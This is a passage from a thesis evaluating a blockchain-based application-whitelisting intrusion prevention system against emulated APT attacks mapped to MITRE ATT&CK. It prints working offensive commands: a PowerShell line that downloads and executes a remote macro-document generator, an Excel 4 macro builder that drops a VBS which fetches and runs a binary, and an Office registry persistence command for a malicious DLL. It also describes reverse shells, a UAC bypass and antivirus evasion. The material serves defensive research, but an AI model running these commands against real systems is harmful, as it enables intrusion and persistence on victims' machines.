• Process 6 – Detection and prevention triggers: this process serves as an output 

processor, e.g., an app is trying to execute without the relevant data being present on-
chain, then an alert is being generated. In this case we focus on generating two types of 
alerts, viz. (1) an app is trying to execute without relevant data being present on-chain, 
and (2) admin owned app (see Process 7 below) is trying to execute, both cases signal 
potential intrusion. Nonetheless alerts and rules can be configured and further refined at 
a later stage to include countless cases.  

 
• Process 7 – Transfer app(s) ownership: utilizing “TransferAsset” app function and 

chaincode we can transfer ownership of apps on-chain creating a sequence and reference 
in the form of transactions. We leverage this ability to create a user-aware on-chain 
environment where detections and prevention decisions can be drawn based on user 
context rather than a workstation on its entirety. As a result, we significantly increase the 
aptitude for detection and prevention of fileless malware [112] and Living-Off-The-Land 
(LotL) attacks [113]. 

 
4.5.8 Limitations 
 
In the context of application, two limitations are identified: 
 

• We utilize and modify the AssetTransfer sample set of apps and chaincode provided 
by Hyperledger Fabric to fit the needs of a prototype blockchain enabled intrusion 
detection and prevention system. Therefore, the prototype is limited to the above 
described six apps and their respective chaincodes.  
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• In continuation, since we perform hashing based on the apps existing on disk, 

specifically on remote employee’s workstation, it accounts for the ultimate detection 
and prevention for malware dropped or executed from disk. If an adversary can 
compromise the remote employee’s endpoint, it is extremely unlikely that further 
malicious tools will be able to execute from disk as their hash and relevant information 
are not present on-chain. Nevertheless, malware executed directly from memory e.g., 
fileless malware [112] or malicious activities leveraging valid and legitimate system 
tools such as PowerShell, also known as Living-Off-The-Land (LotL) attacks [113], are 
still a risk to take into consideration.  
 
To address this, we introduce the user-aware on-chain data context. Namely, based 
on work done from academics [112] [114] [115] [116] and industry professionals [117] 
[118] [119] analysing and replicating fileless and LotL attacks, we conclude to the 
following Table 12 subject to Process 7, transfer of ownership for the effective 
detection and prevention of mentioned attacks. Note that some of the below 
applications, such as certutil.exe, cmd.exe or wmic.exe are extensively used for 
legitimate OS purposes, therefore spotting execution does not automatically 
constitute of malicious activity. Further enhancing methodologies via machine 
learning and artificial intelligence have been proposed [120] aiming to narrow down 
the noise.  

Lastly, we utilize Microsoft’s Sysmon [121] to further enhance in-memory 
attacks detection and prevention by monitoring for specific event IDs. Sysmon logs 
loading of drivers and DLLs with their signatures and hashes, thereby when a remote 
thread is created (e.g., a DLL is reflectively called via a malicious VB script within a 
word document) Sysmon created the event ID 8 [121]. Event ID 8 is also used to detect 
the full class of attacking techniques to inject code or hide within other processes.  

 

Table 12 - Ownership transfer list. 

Filenames  
Addinprocess.exe Extexport.exe Powershell_ise.exe Setupapi.dll 
Addinprocess32.exe Gprslt.exe Presentationhost.exe Syssetup.dll 
Addinutil.exe Infdefaultinstall.exe Regasm.exe  
At.exe Installutil.exe Regedit.exe  
Bcdedit.exe Mavinject32.exe Regsvcs.exe  
Bitsadmin.exe Mavinject64.exe Regsvr32.exe  
Certutil.exe Mmc.exe Rundll32.exe  
Cmd.exe Msbuild.exe Sc.exe  
Cmdkey.exe Msdt.exe Sctasks.exe  
Cmstp.exe Mshta.exe Vssadmin.exe  
Control.exe Msiexec.exe Wevtutil.exe  
Csc.exe Msinfo.dll Wmic.exe  
Cscript.exe Net.exe Wscript.exe  
Esentutl.exe Odbcconf.exe Advpack.dll  
Eventvwr.exe Powershell.exe Dfshim.dll  
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4.5.9 Specifications 
 
Prototype’s application is running on the same virtual machine as the blockchain network. 
Table 13 outlines the specifications. 

 

Table 13 - Blockchain lab specifications. 

 Hyperledger Fabric Blockchain Lab “Blocklabz” (6) (VM) 
Operating System (OS) Ubuntu 20.04.3 LTS (GNU/Linux 5.11.0-27-generic x86_64) 
Hard Disk Drives (HDD) 25GB 

Central Processing Unit (CPU) 2.22 GHz Quad Core Intel Core i7-4770HQ 
Random Access Memory (RAM) 6GB 

Software (SW) Git, cURL, Docker, JQ, GO, Hyperledger fabric 2.3, Ubuntu 20x 
basic installation with advanced package tool (APT) and APT 

essentials 
 
4.6 Conclusion 
 

As stated in the beginning of this chapter, this phase consists of four building blocks. Each 
of the blocks was successfully developed and implemented, as well as interoperate seamlessly 
with each other. More specifically (i) the ZTA where the BIDPS operates is in place and 
simulates a notional bank with employees working from remote locations via their endpoints. 
Next, (ii) the hash-based blockchain-enabled application whitelisting was produced We have 
finalised the development and implementation phase of the BIDPS prototype successfully. 
Moreover, we further enhance the whitelist by introducing a context-aware mechanisms that 
is being leveraged at a later stage from the BIDPS application. This helps us to potentially 
refine, subject to evaluation, the effectiveness of the BIDPS against cyber-attacks. In 
continuation (iii) we built the blockchain network, which acts as the foundation for the BIDPS 
application and chain codes to run. Lastly, (iv) the BIDPS and its respective chain codes were 
deployed and operationalized. 
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Chapter 5: Evaluation Phase – Effectiveness and 
Performance Evaluation 
 
5.1 Introduction 

 
In this chapter we perform an evaluation of the BIDPS’s detection and prevention 

effectiveness, and later we evaluate its performance efficacy. Thus, the chapter is structured 
in two parts, subsections 5.2 and 5.3 respectively. We begin with the prevention and 
detection effectiveness evaluation and continue with the performance evaluation. 
 
5.2 Effectiveness Evaluation  
 

A recent report from the World Economic Forum highlighted that cyberattacks are one of 
the six major dangers of digital innovation [122]. At the same time, sophisticated cyber 
criminals team up to exchange knowledge that eventually leads into the birth of advanced 
offensive tools, tactics, techniques, and procedures. These well-resourced and highly 
sophisticated adversaries often target high profile companies or individuals, and most widely 
known and referred to with the abbreviation APTs. In most cyber-attacks, different threat 
actors would exploit a single vulnerability and steal data that would immediately seek to 
monetize in the underground economy. This is known as the “hit and run” modus operandi 
[123]. An example in the spotlight during the last decade is ransomware. Adversaries in this 
case, once compromising an endpoint would either encrypt the victim’s data demanding 
ransom to offer a decryption key, or some variants observed to steal the encrypted data and 
further resell it to the underground economy regardless if ransom is paid or not [124], 
eventually feeding and growing an underground economy. 

 On the contrary, threat actors in APT attacks preserve a low profile to produce the least 
noise possible and retain their initial access to compromised systems as much as possible. 
APTs objectives can be political, military, technical or even economical (in the form of 
intellectual property), depending on the goals of the threat actor’s controlling entity. During 
APT attacks several vulnerabilities can be exploited, also known as vulnerability chaining [125] 
with the ultimate goals always being (1) to remain stealthy within a compromised host or 
network for prolonged access preservation and, (2) maintain access to related resources for 
the objective to be successful.  

 In this section we define two classes of APT attacks that span from the most traditional up 
to the most sophisticated. Namely, the file-based and fileless attack classes. Next, we 
construct scenarios for each class of attacks and evaluate the efficacy of the proposed 
blockchain enabled intrusion detection and prevention system. The rational for evaluation is 
described in section 5.2.2 Detection and Prevention Evaluation Rationale. 
 
5.2.1 Advanced Persistent Threats (APTs) 
 
APTs objectives can take months or years to be met, therefore long-term stealthy and 
persistent access to the victim’s computing resources is required. As a result, the modus 
operandi of an APT comes in complete contrast with the previously described “hit and run” 
of typical cyber-attacks. Deconstructing the term APT, we can note the following: 
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• Advanced means that cyber adversaries are operating at the highest level and do not 
limit themselves to public tools and exploits. The operate throughout the full 
spectrum of intrusion exploiting single vulnerabilities, using freely available tools, 
following known attack patterns, or in case their objective demands, they can elevate 
to leverage vulnerability chaining, create custom tools, and develop their own exploits 
specifically for the victim’s computing infrastructure. 
 

• Persistent means the cyber adversaries are not opportunistic intruders, rather they 
are formally tasked to accomplish a mission. However, persistent should not be 
related to constant malicious code execution on victims computing infrastructure. 
Persistent in this context refers to the strong motives and most likely incentives 
provided by their commanding entities, usually nation state or state sponsored. That 
said, cyber adversaries involved in APT attacks will take any action to maintain the 
required level of interaction with the victim’s computing infrastructure to achieve 
their objectives. 

 
• Threat in this context means that the human element, the cyber adversaries are 

constantly interacting with their code and tools, while at the same time altering their 
decision making and attack patterns based on both victim’s and compromised 
endpoint behaviour. Consequently, the adversary cannot be treated as a piece of 
mindless code that can be brought down with ease, once detected.  

 
Cyber adversaries during APT attacks can achieve initial access into the notional bank’s 
network, through several techniques. We construct, simulate, and examine the most 
prevalent scenario of achieving initial access nowadays, namely, spear-phishing. Once cyber 
adversaries achieve initial access on the remote employee’s workstation through successful 
exploitation of a vulnerability, there is a limited window of opportunity to execute malicious 
code that will help them achieve their objectives. This initial stage of access provokes the 
following definition of attack classes:  
 

• If the malicious code often named after “payload”, is written, or the code itself writes 
data on the victim endpoint’s disk for any reason and in any form, from now on will 
be referred to as file-based attacks. 
 

• If the malicious payload is (1) loaded directly in memory of the exploited process, thus 
leaving no trace on disk, or (2) uses legitimate processes, programs, scripts, and their 
memory space to hide or execute, from now on will be referred to as fileless attacks.   

 
5.2.2 Detection and Prevention Evaluation Rationale 
 

To establish an evaluation rationale of our proposed blockchain-enabled IDPS against APTs, 
we must first understand how these attacks are typically performed. That said, threat 
modelling becomes imperative [126]. The industry standard threat model for APT attacks is 
the Cyber Kill Chain (CKC) framework by Lockheed Martin [127]. The term “kill-chain” refers 
to the entire chain of events until a successful attack is performed, or in other words, it 
describes an end-to-end process [128]. CKC’s attack stages being with reconnaissance and 
weaponization reaching up to command and control and actions on objectives. Those last 
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stages are the main arguments for damaging criticism against CKC being perimeter-based and 
malware-focused [129]. Although the latter is not necessarily negative, the former certainly 
is, considering our architecture is based on a borderless zero trust enabled architecture.  

 
Moreover, one needs to zoom-in much more into the last stages of “command and control 

and actions on objectives”, for firstly, these are the stage where attackers thrive nowadays, 
and secondly, to evaluate our IDPS in the greatest extent possible. That said, a more 
comprehensive model dealing with APTs beyond perimeter and with far greater details in 
malware attacks, especially after initial access obtained, is MITRE’s ATT&CK framework [130]. 
Leveraging ATT&CK’s knowledge base and attack model, we can describe the behaviour of a 
threat actor throughout the entire attack lifecycle and evaluate our IDPS efficacy. To visualize 
the full attack lifecycle, we utilize a circular dendrogram as shown in Figure 52, representing 
MITRE’s ATT&CK enterprise matrix.  

Figure 52 - MITRE's ATT&CK Enterprise Matrix. 
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The highest level of abstraction within the enterprise version of ATT&CK’s model is tactics. 

This can be visualized within the inner part of the circle in Figure 52. Each tactic includes a set 
of techniques that APTs have been observed to follow. Tactics are tied with the “why” of an 
APT attack objective while techniques correspond to the “how” part. APT29 according to 
MITRE’s APT database records [131], gained world-wide attention due to (1) the identity of 
their compromised targets including Government(s), telecom providers, consulting firms, 
technology companies etc., (2) the impact of the attack, and (3) the original threat group’s 
attribution to Russia’s Foreign Intelligence Service. Therefore, and during APT29, attackers 
achieved initial access through spear phishing, executed malicious files though compromised 
user accounts on compromised endpoints, and established persistent access on their victim’s 
computer infrastructure by inserting malicious registry keys, ultimately achieving a long-term 
malicious communication channel to eavesdrop on their victims.  

 
Tactics can be described on a high-level and with the order they happen as follows: 
 

• Initial access – Any technique in this category providing for initial access into the 
notional bank’s network and specifically granting access to and from remote 
employee’s endpoint. 

• Execution – Any technique allowing for adversary controlled-code to be executed on 
the compromised, or any other endpoint.  

• Persistence – Any action, access, or configuration change to remote employee’s 
endpoint that will eventually allow for persistent presence in the notional bank’s 
computing infrastructure. This is a crucial step in the context of APTs, as cyber 
adversaries seek resilience against interruptions such as process, task, or even 
endpoint restart that will disrupt the malicious communication channel.  

• Privilege escalation – Any technique within this category will result into adversaries 
obtaining a higher level of permissions on the compromised remote employee’s 
endpoint.  

• Defence evasion – Any technique within this category can be used by adversaries with 
the purpose of evading detection.  

• Credential access – Any technique providing access or control over system or domain 
credentials. This can be remote employee’s browser credentials for instance, or it 
could a set of domain login credentials such as user, administrator, application specific 
credentials and others.   

• Discovery – Any technique allowing adversaries to discover, map, and learn more 
information regarding the endpoint itself, but most importantly the internal network.  

• Lateral movement – Any technique enabling adversaries to access, remotely control, 
or remotely execute tools on other endpoints in the internal network. 

• Collection – Any technique allowing for identification and information gathering of 
data (e.g., sensitive files) from the local compromised or any other remote endpoint, 
prior exfiltration.  

• Command and control (C2 or C&C) – Any technique facilitating communication 
between adversaries and the victim’s endpoint. APTs usually leverage legitimate 
means of communication to establish C&C e.g., HTTP/HTTPS. 

• Exfiltration – Any technique facilitating the adversary to remove or extract data and 
information from the notional bank’s network.  
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To simulate and execute at least one technique of each tactic and ground this on a common 
taxonomy, we opt in to use CALDERA, a cyber security platform built on MITRE’s ATT&CK 
model [132]. CALDERA assists in APT emulation matching MITRE’s ATT&CK matrix tactics and 
techniques on a one-to-one basis; therefore, it will aid in most accurately and easily executing 
at least one technique of each tactic described above, ultimately resulting in complete and 
precise evaluation. Furthermore, MITRE offers APT emulation plans [133] broken up into 
three phases, as shown in Figure 53, and CALDERA provides for the same the exact techniques 
and tools per phase and tactic to be simulated with ease.   
 

 
Figure 53 - MITRE's Adversary Emulation Plan. 

During the analysis phase (see Chapter 1) we highlighted the Achilles heel of ZTA, an 
already authenticated and authorised channel of a legitimate user that can be exploited by 
an APT through a compromised endpoint [134]. Additionally, we described in the beginning 
of section 4.3 Hash-based Blockchain-enabled Whitelisting, two applicable scenarios and the 
point where a mature ZTA would trigger and visualised in Figure 3. That said, we continue and 
build upon this idea, and we bring one of the core tenets of ZTA, namely the assume breach 
mindset on the endpoint itself, assuming breach has already occurred, or it is just about to 
occur. We start building on this notion already from attack phase 1 of Figure 53, specifically 
by starting to simulate and evaluate our scenarios as early as the initial access stage all the 
way down to phase 3 and exfiltration stage, simulating and evaluating an APT against our 
proposed blockchain-enabled IDPS end-to-end.  

 
As a result, the end goal and the two core desired outcomes to successfully augment ZTA 

onto endpoints holding the proposed system effective would be to: 
 

• Prevent, or at least detect, techniques and tactics as per MITRE’s ATT&CK 
enterprise matrix earlier than the lateral movement stage, which is one of the main 
objectives of a mature ZTA.  
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• Strip trust out of the endpoint itself and place trust on-chain, thus creating an 
immutable system of explicit trust. Eventually, aiding in effective prevention and 
detection while also grounding verification against the ultimate source of truth 
when it comes to incident investigation and forensics examination. Thus, according 
to ZTA’s principles, never trust, always verify.  
 

5.2.3 File-based Attacks 
 

According to MITRE’s ATT&CK matrix and APT emulator, the first tactics of an APT attack 
include reconnaissance and resource development consisting of 10 and 7 techniques 
respectively. However, these two tactics happen outside of the boundaries of the assumed 
notional bank’s network, and more specifically well before the endpoints, hence 
automatically descoped. In this section we focus on emulating file-based APT attack(s).  

More specifically, we will go through MITRE’s ATT&CK tactics from initial access up to 
discovery, while the adversary’s payload will always have a direct or indirect interaction with 
the victim’s hard disk drive. In this context, direct, means that the adversary will attempt to 
directly execute the payload, or there could be a social engineering scenario where a direct 
execution of the payload will be performed by the user inadvertently. Indirect execution 
means that the attacker will try to leverage legitimate tools (without injecting onto their 
memory space however) e.g., PowerShell, command prompt, Microsoft office macros and 
others, to hide the payload execution in the background.  

 
To assess the blockchain enabled IDPS efficacy we operate the remote employee’s 

endpoint (victim) in two modes:  
 

• Blockdown Mode OFF, the endpoint operates under the normal ZTA enabled 
corporate environment. 
 

• Blockdown Mode ON, the endpoint’s application execution is governed by a simple 
rule, namely, the application’s hash attempting to execute must (1) be present on-
chain, and (2) must be owned by the user, in every other case execution will be 
explicitly denied and moreover a detection alert will be triggered.   
 

“Blockdown” is a naming convention we produced, since the endpoint will go in lockdown 
mode, however, hashes of the executable extensions are passed on the blockchain (see 4.2 
Hash-based Blockchain-enabled Whitelisting), therefore “blockdown”.  
 
5.2.3.1 Initial Access 
 

Tactic number 1 of APT emulation, as shown in Figure 53, begins with initial access. Spear-
phishing is one of the techniques under “phishing” category of ATT&CK’s matrix. Phishing and 
spear phishing are two terms and techniques often used interchangeably, the former is used 
by adversaries targeting the vast majority of an organisation’s employees through mass 
malicious email campaigns, while the latter is observed in APTs through specially crafted 
malicious email content and highly advanced malicious attachments targeting individuals.  

In this case, a specially crafted payload marketed as Sticky Notes Desktop application was 
sent directly to the remote employee’s email address, which was programmed to launch 
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windows calculator while at the same time launching PowerShell and executing a set of 
commands setting up a reverse tunnel to adversaries C&C centre, thus simulating APT30 
[135].  
 
Results in Blockdown mode OFF:  
 
User (under username George) executed the seemingly innocent “StickyNotes.exe”. Two 
legitimate applications launched as intended, calculator and PowerShell as shown on the left 
part of Figure 54. The latter however, executed an additional hidden payload that established 
a reverse shell over HTTP onto our C&C acquiring user’s privileges, as shown on the right part 
of  Figure 54. 
 

 
Figure 54 - Sticky Notes payload initial-access. 

Results in Blockdown mode ON:  
 

• First, we generate the StickyNotes.exe hash 512: 
df205306a5ecaffc3a85df05ca4ea5ed3c14b77824afe225f479696c96298d1a71fbfae0
81fff09852a44fc45b203eabdc9c3a8d4edde9551bec60fc376c81c1 

 
• Next, we query the ledger for StickyNotes.exe should return the same hash (if 

present on chain): 
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Figure 55 - Query the ledger for StickyNotes.exe. 

• StickyNotes.exe does not exist on-chain (Figure 55), therefore execution must be 
denied. Figure 56 validates the above by denying execution to user “George” for 
StickyNotes.exe. 

 

 
Figure 56 - StickyNotes.exe execution output. 

Continuing further on the initial access, we emulate an indirect way of executing the payload 
simulating APT29, leveraging PowerShell and Microsoft’s office macrocode. A malicious word 
document was sent to user “George” with embedded macrocode. Once open and allowed for 
the macrocode to execute, a command prompt launches executing the command ping 
8.8.8.8. Code used to generate the word document with macrocode: 
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Results in Blockdown mode OFF:  
 
Command prompt executing the command “ping 8.8.8.8” upon user opening the subject word 
document, is an indicator of malicious activity, as shown in Figure 57. 
 

 
Figure 57 - Macro-Enabled word document executing CMD and ping command. 

Results in Blockdown mode ON:  
 
Malicious word document drops “art.jse” a Jscript encoded file with hash 512 
“285371aa3839b4f61152ef38e2dd995f32f50a58e8e017b343be97c2130d1966ef248548cbb
e66ec97eedf13695e7e8b63e91550f2c35ae36cb076941b008b0b”  
 
Similarly, this hash is not present on-chain, therefore execution must be denied, as shown in 
Figure 58 and Figure 59 respectively. 
 

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; IEX (iwr 
"https://raw.githubusercontent.com/redcanaryco/atomic-red-
team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing); $macrocode = "   Open 
`"C:\Users\Public\art.jse`" For Output As #1`n   Write #1, `"WScript.Quit`"`n   Close #1`n   Shell`$ `"ping 
8.8.8.8`"`n"; Invoke-MalDoc -macroCode $macrocode -officeProduct "Word" 
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Figure 58 - art.jse Jscript hash not found on-chain. 

 

 
Figure 59 - JScript through word macrocode blocked. 

5.2.3.2 Execution 
 

In the execution phase, we simulate two different scenarios following on APT29 [136] and 
APT41 [137] utilizing malicious office documents, to execute three diverse types of 
executables, viz, “.exe”, “.bat”, and “.vbs”. In addition, we simulate ransomware execution 
invoked through of a .bat script, although we launch windows calculator for demonstration 
purposes and safety of the network. 
 
Results in Blockdown mode OFF:  
 

We used the “Excel 4 Macro” module on CALDERA to craft an excel document which 
attaches macrocode on a spreadsheet and executes it automatically. The macrocode first 
writes a visual basic script on temporary directory and then executes it. Next, it attempts to 
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download process explorer executable from its legitimate source2 and execute it from the 
same directory and under the current user account and privileges. Instead of process 
explorer, the executable often is ransomware or any other malicious tool by adversaries as 
described in APT29 & APT41 in MITRE’s group attribution database. Code used to generate 
the malicious excel spreadsheet:  
 
 

 
 
On the left part of Figure 60 we see the malicious excel sheet opened and on the background 
process explorer already running. On the right part, CALDERA framework is opened showing 
the successful execution of “Excel 4 Macro” module. Although avoiding detection at this stage 
is out of scope, as we only focus on assessing the efficacy of the blockchain enabled IDPS, its 
notable that by using a simple Caesar cipher obfuscation [138] windows defender cannot 
detect the attack. The fact that an obfuscated payload using Caesar cipher was able to bypass 
windows defender, is added to provide the reader with understanding how easy it is 
nowadays to bypass the traditional security controls (e.g., antivirus technologies such as 
windows defender) with publicly available and unsophisticated tools with default settings. 
The BIDPS does not classify executables as malicious, nonetheless. The BIDPS only allows or 
denies execution based on the on-chain data. If an executable is denied execution because 
the relevant info is not present on-chain, this does not automatically imply that an executable 
is malicious. It would imply though that a potential incident requires investigation as the on-
chain data is the immutable source of trust and truth. So, benign executables with no data 
present on-chain will fall under Process 6 according to Figure 58, where an alert will be trigger 
and investigation must take place. BIDPS implementation allows for no room to execute a 
benign application as we noticed throughout the experiment. There were zero cases of false 
execution during our experiments as the BIDPS works entirely in binary mode. However, 
further enhancing the BIDPS with machine learning would potentially allow for a promising 

 
2 https://live.sysinternals.com/procexp.exe 

$fname = "$env:TEMP\atomic_redteam_x4m_exec.vbs"; $fname1 = "$env:TEMP\procexp.exe"; if (Test-Path $fname) 
{;   Remove-Item $fname;   Remove-Item $fname1; }; ; $xlApp = New-Object -COMObject "Excel.Application"; 
$xlApp.Visible = $True; $xlApp.DisplayAlerts = $False; $xlBook = $xlApp.Workbooks.Add(); $sheet = 
$xlBook.Excel4MacroSheets.Add(); ; if ("$env:Username" -ne "") {;   $sheet.Cells.Item(1,1) = "$env:Username"; } else {;   
$sheet.Cells.Item(1,1) = "=GET.WORKSPACE(26)"; }; ; $sheet.Cells.Item(2,1) = "procexp.exe"; $sheet.Cells.Item(3,1) = 
"atomic_redteam_x4m_exec.vbs"; $sheet.Cells.Item(4,1) = "=IF(ISNUMBER(SEARCH(`"64`",GET.WORKSPACE(1))), 
GOTO(A5),)"; $sheet.Cells.Item(5,1) = "=FOPEN(`"C:\Users\`"&A1&`"\AppData\Local\Temp\`"&A3&`"`", 3)"; 
$sheet.Cells.Item(6,1) = "=FWRITELN(A5, `"url = `"`"https://live.sysinternals.com/procexp.exe`"`"`")"; 
$sheet.Cells.Item(7,1) = "=FWRITELN(A5, `"`")"; $sheet.Cells.Item(8,1) = "=FWRITELN(A5, `"Set winHttp = 
CreateObject(`"`"WinHTTP.WinHTTPrequest.5.1`"`")`")"; $sheet.Cells.Item(9,1) = "=FWRITELN(A5, `"winHttp.Open 
`"`"GET`"`", url, False`")"; $sheet.Cells.Item(10,1) = "=FWRITELN(A5, `"winHttp.Send`")"; $sheet.Cells.Item(11,1) = 
"=FWRITELN(A5, `"If winHttp.Status = 200 Then`")"; $sheet.Cells.Item(12,1) = "=FWRITELN(A5, `"Set oStream = 
CreateObject(`"`"ADODB.Stream`"`")`")"; $sheet.Cells.Item(13,1) = "=FWRITELN(A5, `"oStream.Open`")"; 
$sheet.Cells.Item(14,1) = "=FWRITELN(A5, `"oStream.Type = 1`")"; $sheet.Cells.Item(15,1) = "=FWRITELN(A5, 
`"oStream.Write winHttp.responseBody`")"; $sheet.Cells.Item(16,1) = "=FWRITELN(A5, `"oStream.SaveToFile 
`"`"C:\Users\`"&A1&`"\AppData\Local\Temp\`"&A2&`"`"`", 2`")"; $sheet.Cells.Item(17,1) = "=FWRITELN(A5, 
`"oStream.Close`")"; $sheet.Cells.Item(18,1) = "=FWRITELN(A5, `"End If`")"; $sheet.Cells.Item(19,1) = "=FCLOSE(A5)"; 
$sheet.Cells.Item(20,1) = "=EXEC(`"explorer.exe C:\Users\`"&A1&`"\AppData\Local\Temp\`"&A3&`"`")"; 
$sheet.Cells.Item(21,1) = "=WAIT(NOW()+`"00:00:05`")"; $sheet.Cells.Item(22,1) = "=EXEC(`"explorer.exe 
C:\Users\`"&A1&`"\AppData\Local\Temp\`"&A2&`"`")"; $sheet.Cells.Item(23,1) = "=HALT()"; 
$sheet.Cells.Item(1,1).Name = "runme"; $xlApp.Run("runme"); $xlApp.Quit(); ; 
[System.Runtime.Interopservices.Marshal]::ReleaseComObject($xlBook) | Out-Null; 
[System.Runtime.Interopservices.Marshal]::ReleaseComObject($xlApp) | Out-Null; [System.GC]::Collect(); 
[System.GC]::WaitForPendingFinalizers(); ; Remove-Variable xlBook; Remove-Variable xlApp 
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future research direction were the BIDPS could “learn” the native executables either directly 
from the vendor or by training it against the corporate baseline. We discuss this potential 
future direction in 7.3 Future Directions. 

 
 

 
Figure 60 - Execution scenario through excel macrocode, VB script and process explorer as payload execution. 

Furthermore, we simulate another execution technique of APT29 & APT41, namely a word 
document trying to execute a .bat script through invoked macrocode on user’s AppData 
directory. In most systems, if there is no specific path restriction, user execution is allowed by 
default because this is where most user applications reside on. The .bat script attempts to 
execute calc.exe afterwards to demonstrate that a malware could be executed (or any other 
form of adversary-controlled code) instead of calculator. Code used to generate the word 
document: 
 

 
 

The .bat script executes successfully (Figure 61), and the windows calculated is in turn 
executed. On the right part CALDERA framework reports the successful execution as well. The 
bat script was obfuscated yet again, resulting in traditional signature-based endpoint 
protection mechanisms (in this case Windows Defender) being blinded, therefore detection 
avoided.  
 

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; IEX (iwr 
"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-
MalDoc.ps1" -UseBasicParsing); $macrocode = "   Open `"$("$env:temp\art1204.bat")`" For Output As #1`n   Write #1, 
`"calc.exe`"`n   Close #1`n   a = Shell(`"cmd.exe /c $bat_path `", vbNormalFocus)`n"; Invoke-MalDoc -macroCode 
$macrocode -officeProduct Word 
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Figure 61 - Successful execution of .bat script and windows calculator. 

 
Results in Blockdown mode ON:  
 
Starting off with the same attack scenario simulation of the “Excel 4 Macro” while enabling 
the blockchain IDSP capability produces the following output in our CALDERA console and 
remote employee’s endpoint, shown in Figure 62. 
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Figure 62 - Excel 4 Macro module execution denied. 

More specifically, nothing was allowed to be executed on user’s endpoint, while the 
attacker received an error of “This program is block by group policy. For more information, 
contact your system administrator.” as seen in Figure 63. Looking at the details, this attacked 
stopped immediately as the PowerShell was not allowed to be executed because the hash of 
PowerShell (and the PowerShell utility itself consequently) belongs to different owner on-
chain (changed from user “George” to “Administrator” explicitly, see Table 12), thus 
execution of the Visual Basic (VB) script denied, and thereby preventing further malicious 
execution.  

For the next scenario we assessed execution of a macro-enabled word document invoking 
and executing windows calculator through a .bat script dropped on user’s AppData directory.  
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Figure 63 - Unsuccessful execution of .bat script and windows calculator. 

A closer examination after querying the ledger is shown in Figure 64. ReadAsset function 
is invoked and the asset’s hash “art1204.bat”, the dropped .bat script from the macro-
enabled word document is not found on-chain. Moreover, PowerShell.exe is owned by 
Administrator and not user George, thereby and yet again, execution denied.  
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Figure 64 - Query ledger for art1204.bat. 

5.2.3.3 Persistence 
 

Persistence is one of the key steps for an APT. Extensively studying APT29 & APT41, and 
related works by Ussath et al. [139] and Chen et al. [140] adversaries usually set up 
persistence through several techniques, the majority however, requires some type of 
executable to be dropped on disk. For instance, successfully exploiting a vulnerability in 
Adobe reader will allow an attacker to execute arbitrary code in the memory space of the 
exploited application, but only while adobe reader itself is still running. If Adobe reader 
becomes unresponsive (due to exploitation) or simply because the user decides to end Adobe 
reader for any reason, the window of opportunity for an APT to establish persistence 
vanishes. Therefore, attackers try to (1) migrate into more stable processes of the system that 
will allow for more time to continue executing code, and (2) plant, undetectable to common 
signature-based endpoint controls, executable code that will function as a “call-back-home” 
mechanism to adversary’s command and control centre. By now, we have demonstrated that 
common executable files (e.g., .exe or .bat) will not be permitted to execute within the 
Blockdown ON mode since the hash of the executable is not present on-chain. Hence, we try 
a more advanced method of establishing persistence as seen in APT41 and operation Cobalt 
Kitty [141]. More specifically, we leverage an already existing registry key of Microsoft Office 
to register a path of a malicious .dll file that will function as a remote administrator tool (RAT) 
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and will connect back to our C&C centre on port 8888 TCP (CALDERA) every time the user 
executes an office application, e.g., Outlook, Word, Excel, PowerPoint. Execution command: 
 

 
 
Results in Blockdown mode OFF:  
 

 
Figure 65 - Successful persistence setup through Microsoft Word and malicious .dll file. 

User George launches PowerPoint, lcxfxqy.dll executes and connection to our C&C over port 
8888 is established successfully (Figure 65).  
 
Results in Blockdown mode ON: 
 

This method triggers two rules. First off, cmd.exe is owned on-chain by Administrator (see 
Figure 66), hence C&C receives the execution denied message as shown in Figure 67. We tried 
again to run it though a native application already existing on the user’s endpoint 
(regsvr64.exe) which belongs to user George on-chain and can be executed in silent mode, 
then attacker’s is presented with the output in Figure 68, namely malicious lcxfxqy.dll denied 
execution since its hash is not present on-chain (see Figure 66). 
 

reg add "HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf" /t REG_SZ /d "C:\TMP\lcxfxqy.dll" 
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Figure 66 - Ledger query for lcxfxqy.dll and cmd.exe ownership. 

 
Figure 67 - Execution denied and connection with victim endpoint failed. 
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Figure 68 - Malicious lcxfxqy.dll denied execution. 

5.2.3.4 Privilege Escalation 
 

Once an APT has established foothold on an endpoint, many security professionals think 
that local exploitation is the predominant way of escalating privileges. Namely, exploiting a 
local vulnerability e.g., in adobe reader, Windows OS based vulnerabilities, however, this is 
not entirely true in the case of APTs. Adversaries search for the least noisy way to escalate 
privileges.  

As demonstrated several times by APT41 & BARIUM group [142], Winnti group [143], 
NEODYMIUM group [144] and APT1 [145], hijacking the execution flow of DLLs within a 
compromised system under basic user privileges provides for a very high success ratio. By 
hijacking the search order used to load DLLs, adversaries can execute their own malicious 
payloads with the purpose of elevating privileges, or even sometimes to establish persistence. 
This happens because Windows OS uses known and common methodologies to look for DLLs 
when loading a program [146]. There are many ways to APTs hijack DLL loads, the 
abovementioned groups however, leveraged known programs from compromised systems 
that loaded several DLLs into the memory space of its process. Next, Windows is searching 
the necessary DLLs by that process looking at specific system folders and in a specific order. 
They ultimately hijacked that order to acquire administrator level command prompt through 
wow64log.dll. We simulated the same scenario with the help of Akagi64.exe [147], a 
command line executable used to defeat windows use account control.   
 
 



 129 

Results in Blockdown mode OFF: 
While in Blockdown mode OFF, we have a command prompt running under user (George) 

privileges. After successfully hijacking of WOW64logger wow64log.dll a new command 
prompt was spawned. We execute the command “net session” in both command prompts to 
demonstrate that on the front shell the command produces an output, while on the back shell 
we get “access denied” message. Net session command produces an output only when run 
through a command prompt with administrator access, as shown in Figure 69. 
 

 
Figure 69 - Successful DLL hijack spawns administrator level command prompt. 

Results in Blockdown mode ON 
 

On the contrary, while in Blockdown mode ON the adversary receives an error message as 
shown in Figure 70, since command prompt ownership on-chain belongs strictly to 
administrator. At the same time, on the user’s endpoint the attempt to execute Akagi64.exe 
results in the notification shown in Figure 71, since the hash of the subject executable is not 
present on-chain.  
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Figure 70 - Unsuccessful try to hijack wow65log.dll. 

 
Figure 71 - Akagi64.exe execution denied. 
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5.2.3.5 Defence Evasion 
 

The adversary’s goal in this section is to avoid being detected while executing malicious 
